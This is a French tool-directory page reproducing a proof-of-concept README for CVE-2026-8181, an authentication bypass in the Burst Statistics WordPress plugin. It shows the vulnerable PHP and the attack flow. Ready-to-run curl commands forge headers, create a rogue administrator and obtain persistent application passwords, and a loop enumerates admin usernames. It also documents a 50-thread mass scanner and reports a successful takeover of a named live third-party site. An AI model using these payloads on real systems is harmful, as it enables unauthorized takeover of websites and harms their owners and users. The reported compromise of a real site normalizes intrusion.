Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-8181 — CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Contournement d'authentification non authentifié vers prise de contrôle de compte administrateur | Preuve de concept | Kitploit
Outils/GitHubGitHub/zycoder0day/cve-2026-8181
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionAuthentificationApprentissage et Éducation
GitHubzycoder0day/cve-2026-8181

CVE-2026-8181

CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Contournement d'authentification non authentifié vers prise de contrôle de compte administrateur | Preuve de concept

Voir le dépôt
5710il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-8181 — Contournement d'authentification Burst Statistics menant à la prise de contrôle du compte administrateur


📋 Informations sur la vulnérabilité

ÉlémentDétail
CVE IDCVE-2026-8181
PluginBurst Statistics – Privacy-Friendly WordPress Analytics
Versions concernées3.4.0 – 3.4.1.1
Version corrigée3.4.2
Score CVSS9.8 (Critique)
TypeCWE-287 : Authentification incorrecte
Vecteur d'attaqueRéseau / Distance / Non authentifié
Installations actives~200 000+
DécouvreurPRISM, Wordfence Threat Intelligence
Date de publication8 mai 2026

🎯 Résumé

Une vulnérabilité critique de contournement d'authentification dans le plugin WordPress Burst Statistics versions 3.4.0 à 3.4.1.1 permet à un attaquant sans authentification d'obtenir un accès complet administrateur WordPress simplement en connaissant le nom d'utilisateur admin. La conséquence est la prise de contrôle totale du compte administrateur, y compris la création de nouveaux comptes, la modification de contenu, jusqu'à l'installation de plugins malveillants.


🔬 Analyse technique

Cause racine

La vulnérabilité se trouve dans la méthode is_mainwp_authenticated() du fichier includes/Frontend/class-mainwp-proxy.php :

// CODE VULNÉRABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field(
        wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
    );

    if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
        $credentials = base64_decode(substr($auth_header, 6), true);
        // ... analyse username:password ...

        $is_valid = wp_authenticate_application_password(null, $username, $password);
        if (is_wp_error($is_valid)) {  // ← BUG : null N'EST PAS WP_Error !
            return false;
        }
        $user = get_user_by('login', $username);  // ← Auth basée uniquement sur le username !
        if (!$user || !user_can($user, 'manage_burst_statistics')) {
            return false;
        }
        wp_set_current_user($user->ID);  // ← Accorder privilèges admin
        return true;
    }
    return false;
}

Bogue principal : wp_authenticate_application_password(null, $username, $password) retourne null (pas WP_Error) lorsque les mots de passe d'application ne sont pas disponibles, ce qui se produit sur :

  • Sites HTTP (pas HTTPS) où wp_is_application_passwords_available() retourne false
  • Sites où is_ssl() retourne false

Comme is_wp_error(null) = false, le code continue vers get_user_by('login', $username) qui authentifie uniquement sur la base du nom d'utilisateur sans aucune validation du mot de passe.

Exécution précoce

La méthode has_admin_access() est appelée lors du hook plugins_loaded (priorité 9) dans class-burst.php ligne 118 :

if ($this->has_admin_access()) {
    $this->admin = new Admin();
    $this->admin->init();
}

Ce hook s'exécute AVANT le traitement des routes de l'API REST, donc wp_set_current_user() donne les droits admin pour l'ENSEMBLE de la requête — pas seulement pour les endpoints Burst.

Déroulement de l'attaque

Attaquant ──Requête HTTP──▶ WordPress
  En-têtes :
    X-BURSTMAINWP: 1
    Authorization: Basic base64(admin:n'importe quoi)
                │
                ▼
        [le hook plugins_loaded se déclenche]
                │
        Burst::bootstrap() → has_admin_access()
                │
        HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
                │
        wp_authenticate_application_password(null, 'admin', 'n'importe quoi')
                │
        Site HTTP → wp_is_application_passwords_available() = false
                │
        Retourne null (PAS WP_Error)
                │
        is_wp_error(null) = false ← CONTOURNEMENT !
                │
        get_user_by('login', 'admin') → trouvé
                │
        wp_set_current_user(admin_id) → ADMIN COMPLET
                │
        has_admin_access() = true
                │
        [L'API REST traite la requête avec le contexte admin]
                │
        L'attaquant accède à TOUS les endpoints WordPress en tant qu'administrateur

💻 Preuve de concept

Prérequis

  • La cible fonctionne en HTTP (pas HTTPS, ou SSL n'est pas correctement détecté)
  • Le plugin Burst Statistics version 3.4.0 – 3.4.1.1 est installé et actif
  • Connaître le nom d'utilisateur admin (peut être énuméré)

Installation

pip3 install requests

Utilisation — Cible unique

# Scan de base
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k

# Créer un nouveau compte admin
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k

# Avec un nom d'utilisateur personnalisé
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k

Utilisation — Cibles multiples (Scanner de masse)

python3 poc_CVE-2026-8181.py

Mode interactif :

  1. Saisir le fichier de liste de cibles (.txt, un domaine par ligne)
  2. Définir le nombre de threads (par défaut : 50)
  3. Définir les identifiants du nouveau compte
  4. Lancer le scan

Format de targets.txt :

target1.com
target2.com
192.168.1.100
subdomain.example.org

PoC minimal (curl)

# Étape 1 : Vérifier le contournement d'authentification
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:n'importe quoi' | base64)" \
  "http://target.com/?rest_route=/wp/v2/users/me&context=edit"

# Étape 2 : Créer un nouveau compte administrateur
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/wp/v2/users" \
  -d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'

# Étape 3 : Obtenir un mot de passe d'application (identifiants persistants)
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/burst/v1/mainwp-auth" \
  -d '{}'

Énumération du nom d'utilisateur admin

# Méthode 1 : API REST
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'

# Méthode 2 : Route de repli
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'

# Méthode 3 : Énumération par auteur
for i in $(seq 1 5); do
  curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done

✅ Validation des résultats

Tests effectués sur WordPress 6.9 avec Burst Statistics 3.4.1.1 (localhost) :

TestRésultatPreuve
Accès à /wp/v2/users/me sans authentificationÉCHECrest_not_logged_in
Accès avec en-têtes de contournementRÉUSSIProfil admin + email + rôles
Création d'un nouveau compte administrateurRÉUSSIID utilisateur 2, rôle : administrateur
Lecture des paramètres WordPressRÉUSSITitre du site, email admin, URL
Obtention d'un mot de passe d'applicationRÉUSSIToken Base64 admin:password
Liste des plugins installésRÉUSSIListe complète avec versions

Validation sur cible réelle

CibleRésultat
ausdermitte-binz.deRÉUSSI PWNED — Burst 3.4.1.1, contournement via binzwpadmin, compte xenon1337 créé (ID:30)

🔧 Analyse du correctif (v3.4.2)

Télécharger l’outil